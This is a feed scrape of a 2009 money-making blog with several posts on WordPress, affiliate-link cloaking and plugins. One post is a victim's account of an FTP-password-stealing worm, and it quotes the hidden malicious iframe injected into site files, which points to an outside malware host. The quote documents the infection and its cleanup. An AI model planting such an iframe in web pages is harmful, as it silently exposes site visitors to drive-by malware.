Make Money Online Blogging » Wordpress http://www.goblogging.net Make Money Online and Blogging Tips Thu, 08 Jul 2010 13:21:13 +0000 http://wordpress.org/?v=2.8.2 en hourly 1 Completely Remove Malware from Your Computer – Malware / Worm that steals FTP login information http://www.goblogging.net/completely-remove-malware-from-your-computer-malware-worm-that-steals-ftp-login-information/ http://www.goblogging.net/completely-remove-malware-from-your-computer-malware-worm-that-steals-ftp-login-information/#comments Thu, 20 Aug 2009 16:08:04 +0000 admin http://www.goblogging.net/?p=532 This week I got error on almost of my Wordpress blogs, this error occurred twice in the past 5 days. It really made me worried and giddy, because there’s just a blank page with error message like this:

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in ….
Parse error: syntax error, unexpected '.' in ….

After I checked my files, there’s code added at the bottom line of my files, iframe code like this:

<iframe src="http://c9u.at:8080/ts/in.cgi?pepsi147" width=125 height=125 style="visibility: hidden"></iframe>

This line tells me that I have been hacked, infected by virus / worm.

This is a malware / worm that steals my FTP login information from my FTP programs and modifies lots of php / html / htm pages on all of the sites it can access. In FTP log file, there’re lots of entries showing someone downloading the file and then re-uploading it again. It appears destructively to modify the files overwriting whatever text was there.

Here’s a list of some sources that I found according to this issue:

http://wordpress.org/support/topic/268083
http://wordpress.org/support/topic/272140
http://wordpress.org/support/topic/272379
http://ocaoimh.ie/did-your-wordpress-site-get-hacked/

First time I face this virus, what I did is re-upload those infected files and rename my FTP password. I think I just resolved this problem and it will not happen again. But I was wrong, today I get this error again.

So I really know now, I need to take serious action to completely remove the worm / malware. I have to ensure my computer completely clean and it doesn’t happen again.

Referring to the Hostgator Security Support, in order to protect against future attack, I need to run full virus and malware scans on my computer to ensure that they are clean.

Hello,

It appears that malicious code has been uploaded to your account via FTP using a compromised username and password. At this time, I have removed the malicious code from the account.

From our experience with malware of this nature, the user account passwords are compromised though viruses/malware located on your local computer. This malware sniffs out passwords used and stored by FTP programs located on the computer. In order to protect against future attack, you will need to run full virus and malware scans on your computers to ensure that they are clean. I recommend using multiple scanners as we have found that some scanners do not detect the malware. MalwareBytes ( http://www.malwarebytes.org/ ) and ComboFix ( http://www.bleepingcomputer.com/combofix/how-to-use-combofix ) have been reported to be able to clean this malware. It is highly suggested that you also do the following:

* Any computers legitimately allowed to access the account must be updated fully (Windows updates, browser updates, application updates, anti-virus updates)

* Any computers legitimately allowed to access the account must be completely scanned for viruses and secured completely

Despite now I’m not sure that my computer completely clean, but I just have been doing some action to protect my computer:

  1. Update my FTP password
  2. Update my FPT software to the newest version
  3. Of course, re-upload infected files dan upgrade my Wordpress blog to the latest version
  4. Scan my whole computer using Malware Bytes from www.malwarebytes.org

Only that I can do now, I hope this error doesn’t happen again and the worm is completely removed.

]]> http://www.goblogging.net/completely-remove-malware-from-your-computer-malware-worm-that-steals-ftp-login-information/feed/ 57 OIOpublisher Coupon Code – $8 Discount http://www.goblogging.net/oiopublisher-coupon-code-8-discount/ http://www.goblogging.net/oiopublisher-coupon-code-8-discount/#comments Sat, 11 Apr 2009 18:14:11 +0000 admin http://www.goblogging.net/?p=517 Buy OIOpublisher and receive $8 discount!As you might know OIOpublisher is one of famous Wordpress plugins in the blogsphere. OIOpublisher has become popular for short period of time. The users increased rapidly time by time especially in early of its launch July 2007.

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Here’re some errors I found before I upgrade my wordpress blog:

  • WordPress database error MySQL server has gone away
  • Cannot login to the dashboard. It keeps asking me for the password

And Here’re some errors I found after I upgraded my wordpress blog:

  • WordPress database error MySQL server has gone away
  • Cannot login to the dashboard. It keeps asking me for the password
  • 500 internal server error
  • Page not found

I really don’t know what is the problem exactly. I just did some resolve steps from several blog that I think can resolve those errors.

I did steps above in the adjacent. So I don’t know which action can resolve the error exactly. Now my wordpress blog is running well again, there’re no errors again.

If you have experience like mine above, please feel free to share your experience and how to fix the error. It could be useful for other, since what I’ve done above seemingly quite complicated.

Btw, those wordpress errors above only happened on my manual installation blog. There’re no any problems and errors with my fantastico installation wordpress blog.

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I am still using GoCodes Wordpress plugin for this blog, because there’re quite many cloaked links using GoCodes in this blog that very time consuming if I convert those GoCodes cloaked links to ‘Link Cloaking Plugin’. But I have been using it on my other blogs.

I think ‘Link Cloaking Plugin’ has more features than other free similar Wordpress plugins like Gocodes, Affiliatemask, link-mask, permacop, etc. Here’s the features list taken from its official site:

  • Choose what to cloak – all links, only the links you specify or no links at all.
  • Choose where to cloak – posts, pages or both.
  • Configure the URL – you can set the “prefix” part of the URL (see examples below).
  • Exception list – links pointing to domains in this list will not be cloaked. For example, this is useful if you have chosen to cloak all links but don’t want to cloak the links to your own domains.
  • Compatible with all browsers – the link cloaker plugin doesn’t use JavaScript so it will work even for visitors that have disabled JS.
  • “Smart” cloaking – relative, ambiguous or malformed URLs will not be cloaked. Better safe than sorry.

And there’re three things I love from this plugin:

  1. No need to change .htaccess file since ‘Link Cloaking Plugin’ does it automatically. Instead of GoCodes.
  2. The hits statistic feature. Instead of other similar plugins don’t provide this feature, except GoCodes.
  3. Its feature in managing cloaked links, you can do it manually or automatically cloak all external links. Just check it out how it works on your Wordpress dashboard under “Settings” and “Tools” menu.

If you are interesting to cloak affiliate links using another methods instead of using Wordpress plugin, please read my previous article – How to cloak affiliate links. There’re about three methods you can use to cloak your affiliate links or any links you want. Good luck! ;)

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When I try to find free autoresponder and or autoresponder for Wordpress, I just come across to GWA autoresponder for Wordpress. No need much time to setting up this autoresponder, since I am familiar to Wordpress and its plugins.

After I tried GWA autoresponder on my other blog, and the result is fantastic. The simple-to-use subscription form widget never stops working to grow my list right in my weblog, and it absolutely integrated with your Wordpress blog. Just give it a try and see how it works for you and see all its features, it’s free.

And just come in my mind to integrate it with feedburner, but I did not find yet that GWA autoresponder is integrated with feedburner subscribtion. Hope the plugin creator improves GWA autoresponder’s features.

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There are several ways of cloaking your affiliate link. Here are a few you might be interested in.

1. HTML Meta Redirect Method

This method utilizes a meta refresh to redirect a file on your hosting account to your affiliate link. Here’s the code for example:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<meta http-equiv="Refresh" content="0;url=http://www.pntra.com/t/QzxBRUZHPEhIRkI8QkRE " />
<title></title>
</head>
<body>
</body>
</html>

What you should do is open the file that contains code above. For example I named the file as pjn.html and I put it on my root directory, so the url to call the file is : http://www.goblogging.net/pjn.html

2. .htaccess method

By using .htaccess, you are essentially telling your host/web server what to do with a url request before it serves any file. This is a little different from the aforementioned meta refresh which is processed by your browser after the page has already been served.

For example, we’re trying to redirect http://www.goblogging.com/pjn to affiliate link: http://www.pntra.com/t/QzxBRUZHPEhIRkI8QkRE

Here is the code for the .htaccess file:

Redirect /pjn http://www.pntra.com/t/QzxBRUZHPEhIRkI8QkRE

So the url to call the link is : http://www.goblogging.net/pjn

3. PHP Header Redirect Method

This method utilizes php to redirect the end user to your affiliate link. Here’s the code for example:

<?php
header("Location:http://www.pntra.com/t/QzxBRUZHPEhIRkI8QkRE");
?>

For example I named the file as pjn.php and I put it on my root directory, so the url to call the file is : http://www.goblogging.net/pjn.php

How to cloak link using Wordpress

For self hosted wordpress users, it will be easier to cloak your affiliate links by using wordpress plugin called GoCodes. At this time I using this plugin, I was did with my affiliate links.

I create this long Pepperjamnetwork affiliate link :
http://www.pntra.com/t/QzxBRUZHPEhIRkI8QkRE
to become shorter : http://www.goblogging.net/go/pjn and I think you could remember the link easyly, indeed. And my affiliate links will be tracked by using this plugin.

Install the plugin and activate it as common, and then add code below to your .htaccess file:

RewriteEngine On
RewriteRule ^go/([A-Za-z0-9]+)/?$ /index.php?gocode=$1 [L,R]

For detail instruction how to use GoCodes plugin, please visit GoCodes plugin homepage. Any trouble in using this plugin, please feel free to ask me by leaving your comment below, I’ll reply as soon as possible.

Additional resource:
The final exams of 70-649 and 70-620 are achievable only if 642-901 and then SY0-101 is done just in time for N10-003.

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After the new stats, I decide to change this blog theme. I’ll share you a bit about the new theme, you can preview it at: http://www.goblogging.net/index.php?preview_theme=goblogging-2

What do you think about the new theme?!. Previously I had made a poll that asks a question: “How Is My Site?”. And I got 15 answers:

  1. Good (33%, 5 Votes),
  2. Excellent (27%, 4 Votes),
  3. Can Be Improved (20%, 3 Votes),
  4. No Comments (13%, 2 Votes), and
  5. Bad (7%, 1 Votes).

But the question too general, it could mean: the design (theme and layout) and content. So now I create a new poll that asks a question about this blog design.

Nice to see you drop your opinion about this blog design ;) . And in a few weeks I’ll publish a wordpress theme for you that available to download. The theme will be colored according to this new blog theme.

Additional resource:
After 70-536 and 70-642 students interested in 642-642 series usually move on to 642-825 followed by 642-845.

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The interested thing at freethemelayouts.com is easy site navigation, wherein to view large screenshot of Wordpress theme what you need is just go hover your mouse to the screenshot, and you’ll see the large screenshot for selected theme. No need to load a page, so this is really time saving when you search and browse Wordpress theme through Freethemelayouts.com

Just check it out to see all available free Wordpress themes. And I hope it can be useful information for you. :)

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